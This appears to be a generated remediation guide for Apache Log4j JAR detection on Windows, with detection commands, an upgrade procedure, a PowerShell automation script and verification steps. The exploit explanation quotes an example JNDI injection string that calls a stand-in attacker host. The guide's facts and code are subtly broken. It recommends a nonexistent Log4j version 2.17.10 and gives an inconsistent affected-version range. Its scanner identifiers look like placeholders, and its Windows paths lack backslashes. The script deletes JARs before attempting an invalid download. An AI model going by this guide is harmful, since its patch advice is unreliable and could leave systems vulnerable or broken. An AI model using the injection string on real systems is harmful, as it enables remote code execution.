How to remediate – Apache Log4j JAR Detection (Windows)

1. Introduction

Apache Log4j is installed on remote Windows hosts. This vulnerability means that systems using Apache Log4j for logging may be susceptible to exploitation, potentially allowing attackers to execute arbitrary code. Systems commonly affected are those running Java applications that utilise the Log4j library for recording events and debugging information. A successful exploit could compromise confidentiality, integrity, and availability of affected systems.

2. Technical Explanation

The vulnerability stems from Apache Log4j’s ability to perform JNDI lookups on user-supplied data without proper sanitisation. An attacker can inject a malicious JNDI lookup string into log messages, which then triggers the download and execution of arbitrary code from a remote server. Powershell version 5 or greater is required for detection.

• Root cause: Unsafe deserialization of user-controlled input in JNDI lookups within Log4j.
• Exploit mechanism: An attacker crafts a log message containing a malicious JNDI lookup string (e.g., ${jndi:ldap://attacker.com/malicious}) which, when logged, initiates a connection to the attacker’s server and downloads/executes code.
• Scope: Windows systems running Java applications using Apache Log4j versions 2.0-beta9 through 2.17.1 are affected.

3. Detection and Assessment

You can confirm if a system is vulnerable by checking for the presence of Log4j JAR files on the host. A quick check involves listing Java archive files, while a thorough method includes inspecting manifest and properties files.

• Quick checks: Use PowerShell to list Java archives in common locations: Get-ChildItem -Path "C:Program FilesJava" -Filter "*.jar" -Recurse
• Scanning: Nessus vulnerability ID IAVA-0001-A-0650 and IAVT-0001-T-0941 can detect Apache Log4j JAR files. These are examples only, and results should be verified.
• Logs and evidence: Look for log messages containing JNDI lookup strings (e.g., ${jndi:...}) in application logs.

Get-ChildItem -Path "C:Program FilesJava" -Filter "*.jar" -Recurse | Where-Object {$_.Name -match "log4j"}

4. Solution / Remediation Steps

To fix the issue, you must update or remove vulnerable versions of Apache Log4j. These steps should be performed in a controlled environment and with appropriate backups.

4.1 Preparation

• Ensure you have access to the latest version of Log4j from the official Apache website (https://logging.apache.org/log4j/2.x/). A rollback plan involves restoring from the snapshot or backup.
• A change window may be required, depending on service criticality and impact. Approval from system owners might be needed.

4.2 Implementation

1. Step 1: Download the latest version of Apache Log4j from https://logging.apache.org/log4j/2.x/.
2. Step 2: Stop any services using the vulnerable Log4j library.
3. Step 3: Replace the existing Log4j JAR file(s) with the new version in the application’s classpath or lib directory.
4. Step 4: Restart the stopped services to load the updated Log4j library.

4.3 Config or Code Example

Before

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>
</dependency>

After

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.10</version>
</dependency>

4.4 Security Practices Relevant to This Vulnerability

Several security practices can help prevent this type of vulnerability. Least privilege reduces the impact if exploited, while input validation blocks unsafe data from being processed. Keeping software up-to-date is also crucial for patching known vulnerabilities.

4.5 Automation (Optional)

# Example PowerShell script to update Log4j JAR files in a specific directory (use with caution)
$log4jDir = "C:Program FilesMyApplib"
$newLog4jVersion = "2.17.10"
Get-ChildItem -Path $log4jDir -Filter "*.jar" | Where-Object {$_.Name -match "log4j"} | ForEach-Object {
    # Check if the file name contains log4j
    if ($_.Name -match "log4j") {
        Remove-Item $_.FullName -Force
        Invoke-WebRequest -Uri "https://dlcdn.apache.org/logging/log4j/2.17.10/log4j-core-$newLog4jVersion.jar" -OutFile "$log4jDirlog4j-core-$newLog4jVersion.jar"
    }
}

5. Verification / Validation

• Post-fix check: Use PowerShell to list Java archives and confirm the updated version is installed: Get-ChildItem -Path "C:Program FilesJava" -Filter "*.jar" -Recurse | Where-Object {$_.Name -match "log4j"}. Expected output should show the new Log4j version (e.g., log4j-core-2.17.10.jar).
• Re-test: Re-run Nessus vulnerability ID IAVA-0001-A-0650 and IAVT-0001-T-0941 to confirm the issue is no longer detected.
• Smoke test: Verify that application logging functions are still working correctly by checking log files for expected events.
• Monitoring: Monitor application logs for any errors related to Log4j and set up alerts if unexpected JNDI lookup strings appear.

Get-ChildItem -Path "C:Program FilesJava" -Filter "*.jar" -Recurse | Where-Object {$_.Name -match "log4j"}

6. Preventive Measures and